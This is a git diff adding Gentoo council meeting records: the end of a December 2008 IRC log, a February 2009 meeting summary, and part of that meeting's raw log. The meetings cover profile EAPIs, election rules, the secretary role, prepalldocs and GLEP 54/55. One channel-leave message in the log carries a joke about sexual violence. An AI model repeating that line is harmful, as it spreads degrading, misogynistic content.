+<11.12.2008 22:04>  * Halcy0n is
+<11.12.2008 22:04> <@dertobi123> <-
+<11.12.2008 22:04>  * lu_zero waves
+<11.12.2008 22:05> <@dberkholz> Cardoe: ?
+<11.12.2008 22:05>  * dev-zero is here as well
+<11.12.2008 22:07> <@dberkholz> Cardoe: council meeting starting, you might want to speak up soon
+<11.12.2008 22:07> <@dberkholz> let's get started
+<11.12.2008 22:07> <@Betelgeuse> yeah
+<11.12.2008 22:08> -!- dberkholz changed the topic of #gentoo-council to: Label profiles with EAPI for compatibility checks (revised)
+<11.12.2008 22:08> <@dberkholz> anyone not ready to vote?
+<11.12.2008 22:09> <@dberkholz> let's vote then
+<11.12.2008 22:09> <@dberkholz> yes from me
+<11.12.2008 22:09> <@dev-zero> second that
+<11.12.2008 22:09> <@lu_zero> ok from me
+<11.12.2008 22:09> <@dertobi123> yes, too
+<11.12.2008 22:09> <@Halcy0n> yes
+<11.12.2008 22:09> <@Betelgeuse> Do we want to say something about when it's allowed to start using later EAPis?
+<11.12.2008 22:10> < ciaranm> "whenever stable portage has had it for three months"?
+<11.12.2008 22:10> < ciaranm> strictly speaking, you can probably get away with it earlier. portage currently just allows everything it supports, and paludis merely warns for 0non-0 things in profiles...
+<11.12.2008 22:11> <@dberkholz> presumably we're only using it in new profiles, so we won't break existing ones
+<11.12.2008 22:11> <@Betelgeuse> dberkholz: But is that really useful? There's hardly any stuff in the end of the stack.
+<11.12.2008 22:11> <@Betelgeuse> Unless we want to start duplicating stuff.
+<11.12.2008 22:12> <@Betelgeuse> ciaranm: What about people installing from stages?
+<11.12.2008 22:12> <@Betelgeuse> ciaranm: But yeah for that we can just get away then.
+<11.12.2008 22:12> <@dberkholz> well, look at zac's email
+<11.12.2008 22:12> <@dev-zero> well, we could perhaps add a sanity check to "eselect profile" before switching profiles
+<11.12.2008 22:12> <@dberkholz>  For example, the base profile can remain at
+<11.12.2008 22:12> <@dberkholz> EAPI 0 and can thus be shared between some older profiles that
+<11.12.2008 22:12> <@dberkholz> conform to EAPI 0 (in all directories of the stack) and some newer
+<11.12.2008 22:12> <@dberkholz> profiles that contain some directories which require EAPI 1 or EAPI
+<11.12.2008 22:12> <@dberkholz> 2. By allowing a mixture of directories with different EAPIs, the
+<11.12.2008 22:12> <@dberkholz> intention is to promote code sharing such that it will be possible
+<11.12.2008 22:12> < ciaranm> Betelgeuse: they get a portage that allows EAPIs 0 and 1 in profiles anyway, so it doesn't really matter
+<11.12.2008 22:12> <@dberkholz> to use a common base profile between older and newer profiles, yet
+<11.12.2008 22:12> <@dberkholz> still be able to use new EAPIs in newer profiles.
+<11.12.2008 22:12> <@Betelgeuse> ah yeah multi parent sounds good to me
+<11.12.2008 22:13> <@Betelgeuse> We can put a version of Portage that supports the labeling to packages.
+<11.12.2008 22:14> <@dberkholz> it makes sense to me that profile EAPIs would be treated a lot like ebuild EAPIs, since we do have concepts of stable & dev profiles
+<11.12.2008 22:15> < ciaranm> Betelgeuse: don't even really need to. portage's current "anything it recognises" behaviour means this only starts to be an issue if we want to use EAPI 3 stuff in profiles, and by then i strongly suspect profile EAPIs will be a done thing
+<11.12.2008 22:15> <@dberkholz> anyway, it seems like zac's pretty well addressed your concern
+<11.12.2008 22:15> < ciaranm> 0 and 1 are supported in stages, and 2 doesn't add anything that makes sense in profiles
+<11.12.2008 22:15> <@Betelgeuse> ciaranm: but my scheme would work for paludis :D
+<11.12.2008 22:15> < ciaranm> paludis just moans noisily unless you set profile_eapi = 2 in the repo .conf file
+<11.12.2008 22:16> <@dberkholz> Betelgeuse: are you ready to move on, or do you have another concern?
+<11.12.2008 22:16> < ciaranm> and paludis users upgrade much more quickly than portage users, so assuming it's approved everyone using paludis will be using a profile_eapi supporting version within a week
+<11.12.2008 22:16> <@Betelgeuse> dberkholz: sure
+<11.12.2008 22:17> <@Betelgeuse> But let's say that a random dev should not go marking profiles EAPI 1
+<11.12.2008 22:17> <@Betelgeuse> Withour prior discussion on gentoo-dev.
+<11.12.2008 22:17> <@lu_zero> ok
+<11.12.2008 22:17> <@dev-zero> Betelgeuse: I don't think that's a problem
+<11.12.2008 22:20> <@dberkholz> dev-zero: do you want to explain why?
+<11.12.2008 22:20> <@dev-zero> ah, sorry. Well, I think that we all got enough training that people who really do change things in profiles know what they do
+<11.12.2008 22:21> <@Betelgeuse> dev-zero: Well I would think it to be quite easy to read the decision as allowed to use.
+<11.12.2008 22:21> <@dev-zero> Betelgeuse: that's true as well
+<11.12.2008 22:22> <@dberkholz> i don't think you can get away with adding higher eapi requirements to existing profiles.
+<11.12.2008 22:22> <@dev-zero> let's put it like that: non-dev-profiles need prior discussion
+<11.12.2008 22:22> <@dertobi123> i'd like to see the prior discussion on gentoo-dev, trained people tend to break things as well and some kind of review wouldn't hurt
+<11.12.2008 22:22> <@dberkholz> otherwise you're breaking users without giving them a clear path to fixing their setup
+<11.12.2008 22:23> <@dberkholz> say someone has an old portage version, they sync their tree, and suddenly their profile's busted and they can't do anything
+<11.12.2008 22:24> <@dberkholz> i think you can only add the eapi files to new or dev profiles
+<11.12.2008 22:25> <@Cardoe> I'm here.
+<11.12.2008 22:25> <@Cardoe> dang time change
+<11.12.2008 22:25> <@lu_zero> Cardoe still discussing the first item ^^
+<11.12.2008 22:26> <@dberkholz> Cardoe: i updated the google calendar last month, fyi
+<11.12.2008 22:26> <@dev-zero> dberkholz: agreed, otherwise you'll always have the possibility that someone ends up with a broken profile
+<11.12.2008 22:27> <@Cardoe> dberkholz: I don't use Google Cal
+<11.12.2008 22:27> <@Cardoe> I was at lunch with my wife and forgot I had to take an earlier lunch today due to the time change.
+<11.12.2008 22:28> <@dberkholz> Cardoe: to catch you up quickly, we're in favor of the profile eapis and are discussing when they are ok to add.
+<11.12.2008 22:28> <@Cardoe> I'm in support of labeling profiles with EAPI markers. However all current profiles need to be EAPI=0
+<11.12.2008 22:29> <@Cardoe> 2008.0 could potentially be EAPI=1
+<11.12.2008 22:29> <@Betelgeuse> s/8/9/
+<11.12.2008 22:30> < ciaranm> Cardoe: 1's safe now
+<11.12.2008 22:30> < ciaranm> Cardoe: 2 isn't, but there's nothing in 2 that's useful in profiles
+<11.12.2008 22:30> <@dberkholz> it seems like we always need to have some basic EAPI=0 profile around so that old users can upgrade to a newer portage
+<11.12.2008 22:30> <@Cardoe> ciaranm: exactly
+<11.12.2008 22:30> <@dberkholz> otherwise they sync and get stuck
+<11.12.2008 22:30> <@Cardoe> ciaranm: I can't see a reason for EAPI=2 appearing in profiles
+<11.12.2008 22:30> <@Cardoe> dberkholz: yeah the very base profile. I agree.
+<11.12.2008 22:31> <@dev-zero> dberkholz: or we get some kind of a pre-sync check
+<11.12.2008 22:31> <@Betelgeuse> dev-zero: how would that end to users?
+<11.12.2008 22:32> <@dev-zero> hmm, would probably only apply to a post eapi-2 era
+<11.12.2008 22:32> <@dberkholz> i don't see how that would work
+<11.12.2008 22:32> <@Betelgeuse> Can we vote on what we have now so that we can move on.
+<11.12.2008 22:33> <@dev-zero> jup
+<11.12.2008 22:33> <@Betelgeuse> Marker files => fine, Current profiles => EAPi 0, New profiles => higher.
+<11.12.2008 22:34> <@dberkholz> dev profiles higher too would be fine, i think
+<11.12.2008 22:34> <@Betelgeuse> sure
+<11.12.2008 22:34> <@Halcy0n> Sounds fine to me.
+<11.12.2008 22:35> <@dev-zero> sounds good
+<11.12.2008 22:35> <@dertobi123> sounds good to me
+<11.12.2008 22:35> <@dberkholz> good enough
+<11.12.2008 22:36> -!- dberkholz changed the topic of #gentoo-council to: EAPI change: Call ebuild functions from trusted working directory
+<11.12.2008 22:36> <@dberkholz> i don't really think it needs council approval to add something to EAPI=0 that exists in all the PMs, but i'm fine with rubber-stamping it
+<11.12.2008 22:37> <@Halcy0n> It has my approval
+<11.12.2008 22:37> <@dertobi123> second that
+<11.12.2008 22:37> <@lu_zero> +1
+<11.12.2008 22:37> <@Betelgeuse> ++
+<11.12.2008 22:37> <@dev-zero> ok from me
+<11.12.2008 22:39> -!- dberkholz changed the topic of #gentoo-council to: DEFINED_PHASES magic metadata variable
+<11.12.2008 22:40> <@dberkholz> anyone got an improvement for this?
+<11.12.2008 22:40> <@dberkholz> or other comment?
+<11.12.2008 22:40> <@Cardoe> hang on
+<11.12.2008 22:40> <@Halcy0n> No, it seemed fine to me.
+<11.12.2008 22:40> <@dberkholz> ciaranm: do you know whether there were any uses of USE-conditional functions in the tree?
+<11.12.2008 22:41> < ciaranm> dberkholz: there aren't
+<11.12.2008 22:41> <@dberkholz> excellent.
+<11.12.2008 22:41> <@Betelgeuse> I remember seeing some global scope use calls at some point.
+<11.12.2008 22:41> <@Cardoe> Well that covers question one..
+<11.12.2008 22:41> <@Betelgeuse> Don't remember specifics.
+<11.12.2008 22:41> < ciaranm> Betelgeuse: those *should* all have gone
+<11.12.2008 22:41> < ciaranm> unless they haven't...
+<11.12.2008 22:42> <@Cardoe> I think you mentioned it should optionally start to roll out into the cache, ciaranm.
+<11.12.2008 22:42> < ciaranm> Cardoe: yup
+<11.12.2008 22:42> <@Cardoe> Any reason why we shouldn't have infra regen the whole cache with that info?
+<11.12.2008 22:42> < ciaranm> well you could
+<11.12.2008 22:43> < ciaranm> it just isn't necessary
+<11.12.2008 22:43> <@Cardoe> I'm for it as well as just regenning the whole thing.
+<11.12.2008 22:43> <@Cardoe> Cause god only knows what packages might not be touched for a year or some such
+<11.12.2008 22:44> <@Halcy0n> Well, since the proposal says you shouldn't assume it is there for existing EAPIs, I don't see a reason to forcefully regen everything.
+<11.12.2008 22:44> < ciaranm> probably wouldn't hurt, if infra don't mind shutting off rsync updates for the six hours or whatever it is that it takes to do a regen
+<11.12.2008 22:44> <@Betelgeuse> ciaranm: find -name "*.ebuild" -exec egrep '^use' {} +
+<11.12.2008 22:44> <@Betelgeuse> ciaranm: Doesn't come out empty
+<11.12.2008 22:45> <@Betelgeuse> same false positives but at least one user in global scope
+<11.12.2008 22:45> < ciaranm> Betelgeuse: most of those look like they won't do what people expect anyway
+<11.12.2008 22:46> < ciaranm> and none of them seem to affect the proposal either
+<11.12.2008 22:46> <@dev-zero> open a tracker bug and give people two weeks time to fix those ebuilds?
+<11.12.2008 22:47> <@Cardoe> I could fix those right now if the power would come back on at home...
+<11.12.2008 22:47> < ciaranm> dev-zero: well, the proposal won't affect any of those anyway
+<11.12.2008 22:47> <@lu_zero> dev-zero if the number if small enough
+<11.12.2008 22:47> <@Betelgeuse> ciaranm: They are probably leftovers from when Portage did not preserve env properly.
+<11.12.2008 22:47> < ciaranm> so really it's just something that should get fixed because it's horrible, not something that has to be fixed before the phases cache can go ahead
+<11.12.2008 22:48> <@Cardoe> ciaranm's right.
+<11.12.2008 22:49> <@Halcy0n> So, is everyone ready to vote on it?
+<11.12.2008 22:50> <@dberkholz> i am
+<11.12.2008 22:50> <@dev-zero> yes
+<11.12.2008 22:50> <@dertobi123> yes and yes
+<11.12.2008 22:50> <@Betelgeuse> yes
+<11.12.2008 22:51> <@Halcy0n> Alright, so vote for it.  I'm in favor of it.
+<11.12.2008 22:51> <@dev-zero> me too
+<11.12.2008 22:51> <@dberkholz> yep
+<11.12.2008 22:51> <@dertobi123> so, yes again
+<11.12.2008 22:51> <@Cardoe> yep
+<11.12.2008 22:51> <@Betelgeuse> fine
+<11.12.2008 22:52> <@Halcy0n> Alright, that should be it then, right Donnie?
+<11.12.2008 22:52> <@Cardoe> ciaranm: you wanna open a bug for infra to turn that on?
+<11.12.2008 22:52> < ciaranm> Cardoe: gotta wait until portage has support first
+<11.12.2008 22:52> < ciaranm> then i think it's automatic
+<11.12.2008 22:53> <@lu_zero> sounds good
+<11.12.2008 22:55> <@dberkholz> i checked beforehand to make sure zac had said he sounded ok with this on that src_fetch_extra bug
+<11.12.2008 22:56> <@dberkholz> let's wrap it up, then.
+<11.12.2008 22:57> <@Halcy0n> Cya later guys, I have to go.  Thanks Donnie.
+<11.12.2008 22:57> <@dertobi123> when's the next meeting? i think we could drop the 25th?
+<11.12.2008 22:57> <@dev-zero> sorry, just a sec
+<11.12.2008 22:57> <@dberkholz> next week if we have bugs open. because of xmas, as we decided last month
+<11.12.2008 22:57> <@dev-zero> got some questions
+<11.12.2008 22:58> <@dev-zero> is the council page going to be updated?
+<11.12.2008 22:58> <@dberkholz> i'll take care of getting things updated tonight
+<11.12.2008 22:58> <@dev-zero> does somebody mind if we're going to write down the new voting rules?
+<11.12.2008 22:58> <@dberkholz> now that we have some actual news to send out
+<11.12.2008 22:59> <@dev-zero> I'm asking because I still didn't see any decision whether the council might consist of only 1,2,3 people in case _reopen_nominations is ranked that high
+<11.12.2008 22:59> <@dev-zero> and I'd rather like to have that cleared before the next elections
+<11.12.2008 22:59> <@dberkholz> we still need to have that discussion
+<11.12.2008 23:00> <@dberkholz> we're out of time for today, though. feel free to propose it for the next meeting in response to the announcement
+<11.12.2008 23:00> <@dev-zero> good, can we discuss it on the council-ml until next meeting?
+<11.12.2008 23:00> <@dberkholz> yep
+<11.12.2008 23:00> <@dev-zero> good
+<11.12.2008 23:00> < ciaranm> http://dpaste.com/98260/ <-- not really in danger of becoming an issue for a while
+<11.12.2008 23:01> <@dberkholz> meeting is over, for anyone who's been waiting for that.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090212-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090212-summary.txt
new file mode 100644
index 00000000..b88b943e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090212-summary.txt
@@ -0,0 +1,100 @@
+Roll Call:
+===========
+Betelgeuse: here
+Cardoe: here
+dberkholz: here
+dertobi123: here
+dev-zero: here
+Halcy0n: absent
+lu_zero: here
+tanderson(secretary): here
+
+Topics:
+===========
+
+Secretary:
+    - Should the council have a dedicated secretary?
+        Previously dberkholz fulfilled this roll, but he became busy.
+	Because fulfilling the secretary duties can distract from the
+	meeting, a dedicated, non-council member secretary is ideal.
+
+	Conclusion:
+	   tanderson is the new secretary. Logs and summary are to be
+	   posted on the -council mailing list. If no objections to it
+	   are raised in 1 day, it is posted to the council page and lists.
+
+Elections:
+    - Staggered elections
+    	Should there be staggered elections every 6 months where half the
+	    council members stand for reelection?
+
+	Conclusion:
+	    Leave as-is, elections every 6 months is too cumbersome. Full elections
+        will be held once a year.
+
+    - Lack of nominated candidates
+    	What happens if there aren't enough candidates nominated to fill all
+	    the council seats?
+
+	Conclusion:
+	    If the pseudo-candidate '_reopen_nominations' appears in 7th place
+	    or higher those candidates that rank above '_reopen_nominations'
+	    will be the current council. A second period of nominations will
+	    be opened for the remaining council seats. No third period of
+	    nominations will be opened in the event '_repoen_nominations'
+	    ranks higher than the candidates necessary to fill the council.
+
+Technical Issues:
+    - Prepalldocs
+        Should the 'prepalldocs' be allowed in current EAPIs?
+
+        Conclusion:
+            Prepalldocs is banned in current EAPIs(0,1,2). It should be
+            removed from ebuilds. Petteri Räty(Betelgeuse) will make QA
+            checks for repoman.
+
+    - BASH version allowed in the tree.
+        PMS states that ebuilds can only rely on BASH 3.0 features. However,
+        some code in gentoo-x86 uses BASH 3.1 features('+=' being the most
+        notable) and so is not in conformance with PMS. It was suggested that
+        BASH versions newer than 3.0 be allowed in a future EAPI. Ciaran
+        Mccreesh, however, commented that this would require GLEP 55 being
+        accepted so that a package manager would not have to source the ebuild
+        before knowing what BASH version it requires.
+
+        Conclusion:
+            No decision. Doug(Cardoe) will follow this up with
+            Tiziano(dev-zero) as a backup.
+
+Open Bugs
+=========
+
+Technical:
+    - GLEP 54(-scm package version suffix, bug 234711[1])
+	    GLEP 54 solves two problems, version ordering and periodic reinstall
+	    of live packages. The Live Template proposal[2] overlaps in that it also
+	    allows for periodic reinstall of live packages. Luca(lu_zero)
+        maintains that Live Template provides proper version ordering, while
+        Ciaran(ciaranm) maintains that it does not. 
+
+        Conclusion:
+            No decision. The council cracked the whip on Luca(lu_zero) and
+            he's going to handle the issue.
+
+    - GLEP 55(.ebuild-$eapi ebuild suffix)
+        Should .ebuild-$eapi be approved? This ties in with "BASH version
+        allowed in the tree" issue mentioned above.
+
+        Conclusion:
+            No decision. Tiziano(dev-zero) will be handling this bug.
+
+Non-Technical:
+    - Code of Conduct
+        No discussion.
+
+        Conclusion:
+            No decision. Donnie(dberkholz) will be handling this bug.
+
+References:
+[1]: http://bugs.gentoo.org/show_bug.cgi?id=234711
+[2]: http://dev.gentoo.org/~lu_zero/glep/liveebuild.rst
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090212.txt b/xml/htdocs/proj/en/council/meeting-logs/20090212.txt
new file mode 100644
index 00000000..f3fc8600
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090212.txt
@@ -0,0 +1,345 @@
+20:03 < dberkholz> Betelgeuse, cardoe, dberkholz, dertobi123, dev-zero, Halcy0n, lu_zero -- who's here?
+20:03 <@dertobi123> <-
+20:03 <@lu_zero> \o
+20:03 < dev-zero> me
+20:03 < dberkholz> Halcy0n informed me half an hour ago that he couldn't make it because of work obligations that came up
+20:03 -!- piotao [i=piotao@p323.math.univ.gda.pl] has joined #gentoo-council
+20:04 < dberkholz> didn't have time to find a proxy
+20:04 -!- Atigo [n=atigo@azx122.neoplus.adsl.tpnet.pl] has joined #gentoo-council
+20:04 < dev-zero> where is cardoe?
+20:05 < dberkholz> i just pinged him in #-dev
+20:05 < dberkholz> ok, we've got 5 because Betelgeuse was here 6 minutes ago
+20:06 < dberkholz> let's get rolling on the secretary thing
+20:07 < dev-zero> should I summarize it?
+20:07 < dberkholz> sure
+20:07 < dev-zero> ok
+20:07 < dev-zero> we need someone doing the summary and upload the logs
+20:07 < dev-zero> in the past dberkholz did it but he got busy
+20:08 < dev-zero> so, to ensure we get those things done I proposed the job of a Secretary
+20:08 < dev-zero> option 1) have someone of use doing it
+20:08 < dev-zero> possibly in a rotating scheme
+20:08 < dev-zero> option 2) have a dedicated person doing it
+20:08 < dev-zero> luckily tanderson volunteered
+20:09 < dev-zero> has someone a better idea?
+20:09 <@dertobi123> no, i like it (that being option 2)
+20:09 -!- Cardoe [n=Cardoe@gentoo/developer/Cardoe] has joined #gentoo-council
+20:09 -!- mode/#gentoo-council [+o Cardoe] by ChanServ
+20:09 <@Cardoe> sorry
+20:09 <@lu_zero> I'm fine with both
+20:09 < dberkholz> i agree that we should have a dedicated, non-council member do the secretary tasks
+20:10 <@Cardoe> Did we have any volunteers?
+20:10 < rane> -> tanderson
+20:10 < dberkholz> yes, tanderson volunteered
+20:10 < dev-zero> I think that's always up to the council deciding what they want
+20:10 < dev-zero> since we got a volunteer I'd say we accept the offer :)
+20:11 <@Cardoe> I'd agree with that
+20:11 < dev-zero> but I think (and that's what I meant with rules) that every council has to clear that question at the beginning of their term
+20:11 < dev-zero> and stick to it
+20:11 < dberkholz> which question?
+20:11 < dev-zero> the question who's doing the job of the Secretary
+20:11 -!- en0x [i=en0x@unaffiliated/en0x] has left #gentoo-council ["*Dead girls don't say no*"]
+20:11 < dberkholz> oh, sure.
+20:12 <@lu_zero> and in what it consists
+20:12 < dev-zero> yes
+20:12 < dberkholz> ok, here's what i think
+20:13  * dev-zero thinks it would be useful to see when someone's typing
+20:13 < dberkholz> we should make a decision now about how it works. obviously later councils could change the process if they want, but making them rethink the whole thing every time doesn't make sense
+20:13 < dev-zero> good
+20:13 < dberkholz> so we should say, at the beginning of each council term, you pick a secretary who is not a council member (for justification previously provided)
+20:14 < dberkholz> and you have to pick someone who actually volunteers for it
+20:14 -!- PapaDelta [n=PapaDelt@p5B025427.dip.t-dialin.net] has joined #gentoo-council
+20:14 < dev-zero> I already prepared something like this: "the council should appoint a Secretary. If possible, a volunteer who's not council member. If not, they can decide whether a council-member is doing it every time or whether they stick to a rotating scheme."
+20:14 <@lu_zero> I think you can pick as many people as they voluteer
+20:14 <@Betelgeuse> lost connection
+20:14 < dev-zero> no, maximum two
+20:15 <@lu_zero> dev-zero why?
+20:15 <@Betelgeuse> stupid 3G is slow as hell atm
+20:15 < dev-zero> lu_zero: avoiding a mess and you surely get the "what, it wasn't my turn, it was his" play
+20:15 < dberkholz> i really think you need to give each person sufficient experience to do a good job at it.
+20:15 < NeddySeagoon> You want consistancy ... 1 or 2 people max
+20:16 <@lu_zero> ok then it's 2
+20:16 < dev-zero> ok, do we need to discuss it here or can we just decide that we have a Secretary now and phrase it out on the ml?
+20:17 < dev-zero> sorry, shouldn't have been so rude
+20:17 < dberkholz> who's ok w/ tanderson as secretary?
+20:17 < dev-zero> me
+20:17 < dberkholz> i am
+20:17  * dertobi123 is
+20:17  * lu_zero is
+20:17 < dberkholz> ok.
+20:18 <@lu_zero> tanderson are you really _sure_ ?
+20:18 < dberkholz> i would like a 1-day review period on -council before summaries get posted everywhere else
+20:18 < tanderson> lu_zero: yes
+20:18 < dev-zero> dberkholz: agreed
+20:18 <@dertobi123> dberkholz: agreed
+20:18 <@lu_zero> dberkholz ok
+20:18 < dberkholz> tanderson: ok it's all you baby. show us what you've got!
+20:18 < dev-zero> dberkholz: but organized as "published if no complaints"
+20:18 < dberkholz> agreed.
+20:18 < tanderson> dberkholz: I'm working on it1
+20:18 < tanderson> s/1/!
+20:19 < dberkholz> tanderson: just waiting to be impressed after the meeting. =)
+20:19 < dev-zero> tanderson: s/1/\!
+20:19 < tanderson> dev-zero: hrmph
+20:20 < dberkholz> to summarize: tanderson is the new secretary. he will post summaries for 1 day of review on council, after which they default to being posted everywhere. we will work out further details about the process on the list, if people care enough to do so.
+20:20 < dev-zero> perfect :)
+20:20 <@lu_zero> next item
+20:21 < dev-zero> staggered elections?
+20:21 -!- comprookie2000 [n=david@gentoo/contributor/comprookie2000] has joined #gentoo-council
+20:21 < dberkholz> my opinion's already up =)
+20:21 < dberkholz>         DB: Leave as is if 1-year terms. Don't want 6-month staggering.
+20:22 <@dertobi123> leave it as is, 6-month are way too short
+20:22 <@lu_zero> leave it as is.
+20:22 < dev-zero> agreed, 6-month are too short
+20:22 < dberkholz> ok, sounds good.
+20:22 <@Betelgeuse> as is is fine
+20:22 < dberkholz> let's move on then
+20:22 < dberkholz> What if we don't get enough candidates?
+20:22 < dev-zero> good
+20:22 -!- quantumsummers|a [n=quantums@gentoo/developer/quantumsummers] has joined #gentoo-council
+20:23 < dberkholz> my thoughts -- Deal with it when it happens. No rules for hypothetical situations.
+20:23 < dev-zero> I think this question is important because if you once get there not having enough candidates it might get messy
+20:23 <@Betelgeuse> boohoo those running do a reduced council
+20:24 < dev-zero> well, it would already help if you would do a second nomination-period for the remaining slots
+20:24 < dev-zero> after that we can still say we deal with it when it happens
+20:24 <@lu_zero> ok
+20:25 <@dertobi123> sounds good
+20:25 < dberkholz> fine
+20:26 <@Cardoe> trying to come up with every hypothetical situation will waste everyone's time
+20:26 <@Betelgeuse> I don't see a need but majority rules
+20:26 <@Cardoe> look at most governing bodies, they allow this flexibility
+20:26 < dberkholz> we're pretty much just specifying what already happens
+20:26 < dev-zero> Cardoe: no, they ruled it all out
+20:27 < dev-zero> but we're not a governing body
+20:27 < dev-zero> so, simple rules should be applied
+20:27 <@Cardoe> dev-zero: we're governing ourselves and our election process
+20:28 < dev-zero> Cardoe: allright
+20:29 < dev-zero> next?
+20:29 < dberkholz> i want to clarify this
+20:29 < dev-zero> sorry
+20:29 < dberkholz> are we saying that if "reopen noms" turns up in position #6, we will run with the new 5-person council and hold a 2nd election for the last 2 spots?
+20:29 < dev-zero> I'd say so
+20:30 <@lu_zero> could work
+20:30 < dev-zero> put rephrase it to "if not all slots are filled after the first election period a second one should be held"
+20:30 < darkside_> and a third? etc
+20:30 < dev-zero> no
+20:31 < dberkholz> i'd like to avoid a ton of "what if's", so let's move on
+20:31 < dev-zero> agreed
+20:31 < darkside_> just stop at 2 until the next year
+20:31 < dberkholz> we can deal with other stuff if it actually comes up
+20:31 < dev-zero> exactly
+20:31 < dev-zero> if we get to that point something's wrong anyway
+20:32 < dberkholz> ok, i'd like to move on to the next topic, prepalldocs.
+20:32 < dberkholz> dev-zero had 2 questions. do we need more info, and should we ask for discussion on -dev?
+20:32 < dev-zero> I asked because we didn't decide last time
+20:33 < dev-zero> my opinion is basically set, what about yours?
+20:33 <@Cardoe> dev-zero: I say we just allow it to happen twice, total
+20:33 <@Betelgeuse> The less the better
+20:34 -!- Atigo [n=atigo@azx122.neoplus.adsl.tpnet.pl] has left #gentoo-council ["Konversation terminated!"]
+20:35 < dberkholz> ok, sure.
+20:35 < dberkholz> opinions on prepalldocs in pms (bug #250077)?
+20:35 < Willikins> dberkholz: https://bugs.gentoo.org/250077 "prepalldocs should be documented in PMS"; Gentoo Hosted Projects, PMS/EAPI; ASSI; ulm@g.o:pms-bugs@g.o
+20:35 < dev-zero> prepalldocs should be kept internal and usage should be avoided
+20:36 < dev-zero> reason: internal function and change of it's implementation prooves it
+20:36 < dev-zero> if someone want's it's functionality he should propose a solution for a future eapi
+20:36 <@Betelgeuse> agreed
+20:37 <@dertobi123> dito, agreed on that
+20:37 <@lu_zero> sounds sensible
+20:37 < dberkholz> Cardoe: any thoughts?
+20:38 <@Cardoe> yeah getting a little caught up
+20:38 <@Cardoe> but I think dev-zero hit it on the head
+20:39 < dberkholz> ok, so what we're saying is prepalldocs won't be in any current EAPI and needs to be removed from ebuilds. is that accurate?
+20:39 <@Betelgeuse> I can make a check for repoman
+20:39 < dev-zero> yes
+20:40 < dev-zero> Betelgeuse: great :)
+20:40 <@dertobi123> dberkholz: yep
+20:41 < dberkholz> alrighty then
+20:41 < dberkholz> open bug status
+20:41 < dberkholz> glep 54, any change?
+20:42 < ciaranm> most of the objectors to glep 54 have surrendered
+20:42 <@Cardoe> putting it that way makes it sounds like something that we'd really want to adopt
+20:43 <@Cardoe> "we've managed to beat down anyone opposing until they just can't care anymore or have quit the project"
+20:43 <@lu_zero> nobody updated the bug according my thunderbird
+20:43 < ciaranm> Cardoe: the person doing the objecting wasn
+20:43 < ciaranm> Cardoe: 't a gentoo developer
+20:43 < ciaranm> the objections to 54 came from igli aka slong aka ranjit singh
+20:43 < ciaranm> and he objected to it because it came from the wrong people
+20:43 <@Cardoe> I'm just saying. How you put it wasn't the most positive light possible
+20:44 <@Betelgeuse> doesn't 54 still come bundled with 55?
+20:44 < ciaranm> Betelgeuse: 54 works best if 55 is also accepted
+20:44 < dev-zero> a possibility to avoid *.ebuild-123456789 would be to have it as a separate number being incremented only when needed
+20:44 < ciaranm> dev-zero: you're confusing 54 and 55
+20:44 < ciaranm> 54's -scm
+20:44 < dev-zero> yes
+20:45 <@Betelgeuse> ciaranm: there's probably still opposition to that around
+20:45  * tanderson confused them in the summary too, dangit
+20:45 < dberkholz> i like PROPERTIES=live
+20:45 <@Betelgeuse> but if their arguments have merit is an another matter
+20:45  * lu_zero likes that too
+20:45  * dev-zero likes -scm
+20:45 < ciaranm> properties=live doesn't solve anything
+20:45 < ciaranm> you can't have proper version numbers just through properties
+20:45 <@lu_zero> "proper"
+20:46 < dberkholz> you can't put git tag names in a version either
+20:46 < ciaranm> there's no way of using the existing version number syntax to correctly express scm versions
+20:46 <@Betelgeuse> ciaranm: but it does give some of the things that scm is used to provide
+20:46 < ciaranm> Betelgeuse: it doesn't, though
+20:46 < ciaranm> scm's designed to solve the lack of proper ordering with existing version syntax
+20:46 <@Cardoe> I'm in favor of PROPERTIES=live myself.
+20:46 < dleverton> And scm gives all of the things that scm is used to provide.
+20:46 <@lu_zero> depends on what you want to put in the tree
+20:47 < ciaranm> properties=live does nothing
+20:47 <@lu_zero> ciaranm -scm does the same nothing
+20:47 < ciaranm> lu_zero: no, -scm provides correct ordering
+20:47 < dberkholz> looking at this from a bit different approach
+20:47 <@lu_zero> live templates do something
+20:47 < dberkholz> having some way to do this seems like a good thing
+20:47 <@lu_zero> ciaranm "correct"
+20:47 < dberkholz> and having someone who will actively work on finding a solution would be nice
+20:47 < dev-zero> and you can't have foo-1.2.ebuild and foo-1.2.ebuild where one of them has "properties=live" in it
+20:47 < ciaranm> lu_zero: yes, correct
+20:48 <@lu_zero> dev-zero why not?
+20:48 < dev-zero> lu_zero: because they're named the same
+20:48 <@Cardoe> Again.. people are bringing up hypothetical without any real need or defect discussed
+20:48 < dev-zero> Cardoe: wrong, they're not hypothetical
+20:48 < ciaranm> Cardoe: the real was covered the first ten times the glep was discussed
+20:49 <@lu_zero> and again everything got up in the last 1/2 hour
+20:49 < ciaranm> Cardoe: you are aware of the original justifications, right?
+20:49 < ciaranm> lu_zero: you too, since you seem to have forgotten them
+20:49 < dev-zero> ok, people, let's stop it
+20:49 < dberkholz> if they aren't in the glep, they might as well not exist
+20:49 < dev-zero> won't have a conclusion now
+20:49 < ciaranm> dberkholz: they are in the glep
+20:50 < dberkholz> it would be better if it had a comparison with the other suggestions
+20:50 < dev-zero> dberkholz: not the point of a glep
+20:50 < ciaranm> it's the only suggestion that solves the problem. there. easy.
+20:50 < dberkholz> the point of a solution isn't to say why it's the best solution?
+20:50 <@lu_zero> false
+20:50 < dberkholz> that seems ludicrous to me
+20:50 <@lu_zero> and there is a problem defined
+20:51 < dberkholz> anyway, i do agree with dev-zero that we won't suddenly resolve this during the meeting
+20:51 < dev-zero> good
+20:51 < dberkholz> lu_zero: will you pick this up more actively and run with it, or should someone else?
+20:51 -!- hparker [n=hparker@gentoo/developer/hparker] has joined #gentoo-council
+20:51 <@lu_zero> dberkholz I was waiting for zmedico
+20:51 <@Betelgeuse> yeah we should at least put someone actively wroking on these
+20:51 < dev-zero> yes
+20:51 <@lu_zero> and/or other getting input
+20:51 < dev-zero> this is what I proposed on the -ml as well
+20:51 < ciaranm> for as long as people think PROPERTIES=live and -scm have anything to do with each other, this won't get solved because they don't have a frickin' clue what the point of either is
+20:52 < dev-zero> good, then the person who's taking care of should investigate this
